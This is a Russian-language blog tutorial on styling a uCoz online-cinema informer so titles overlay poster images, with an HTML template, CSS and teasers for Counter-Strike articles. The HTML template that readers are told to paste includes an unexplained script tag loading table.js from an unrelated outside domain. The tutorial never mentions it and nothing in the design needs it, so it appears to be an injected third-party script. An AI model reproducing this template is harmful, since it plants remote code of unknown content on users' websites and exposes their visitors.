Вид информера онлайн кинотеатра

25.01.2014 в 21:04
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  

Установка плагинов

Установка: У нас есть плагин, например antiflood.amxx и мы хотим его установить себе на сервер 1) Копируем файл antiflood.amxx в папку \addons\amxmodx\plugins\ 2) Открываем файл plugins.ini, находится он тут \addons\amxmodx\configs\ и в конец файла вписываем antiflood.amxx , сохраня...

AMX команды для админа

Админские команды vote - выводит id игрока и его ник. Удобно использовать именно id игрока, а не его имя, например: amx_kick #127. amx_kick [reason] - кикнуть игрока с сервера amx_ban [reason] - забанить игрока на сервере amx_banid [reason] - забанить игрока на сервере по SteamID/WonID amx_banip [reason] - забанит...

CS 1.6. Устанавливаем прицел на AWP и Scout

Введение: В этой небольшой инструкции мы объясним как все-таки установить обычный прицел для оружия AWP или Scout. Многие игроки думают что это нереально. Мы же нашли решение и чуть ниже опишем как это реализовать. Но запомните что AWP и Scout без zoom'a, стреляют не совсем точно. Инструкция: 1. Загрузите специа...

Counter-Strike. Делаем фильм из демки

Для создания фильма (мувика) из демки записаной в Counter-Strike нам потребуется всего лишь одна программа VideoMach. Нам нужно зайти в игру и поставить разрешение экрана на 640х480 не больше, иначе видео будет сильно тормозить. Потом заходим в саму игру и прописываем в консоли следующие команды: " playdemo имя_де...

Основы написания скриптов.

Как писать скрипты для CS Source? Эта статья содержит описание основ написания скриптов для Counter-Strike:Source. Многие из ранее существовавших команд и правил, применимых к написанию скриптов в Counter-Strike, по-прежнему применимы и к Source, но некоторые нет. Поэтому я постараюсь только описать те изменения, ...

Как установить новый фон меню в CS 1.6

Если вам надоела старый фон меню в КС 1.6 и вам захотелось сменить ее на новую более свежую, то мы вас расскажем как происходит смена фона в игре Counter-Strike 1.6.

После того как вы скачали архив с фоном CS 1.6, внутри вы найдете папку resource, ее содержимое следует скопировать в пап...

Добавлять комментарии могут только зарегистрированные пользователи.
Регистрация | Вход

Подробная информация

175
0
0.0

Будет полезно

Популярные запросы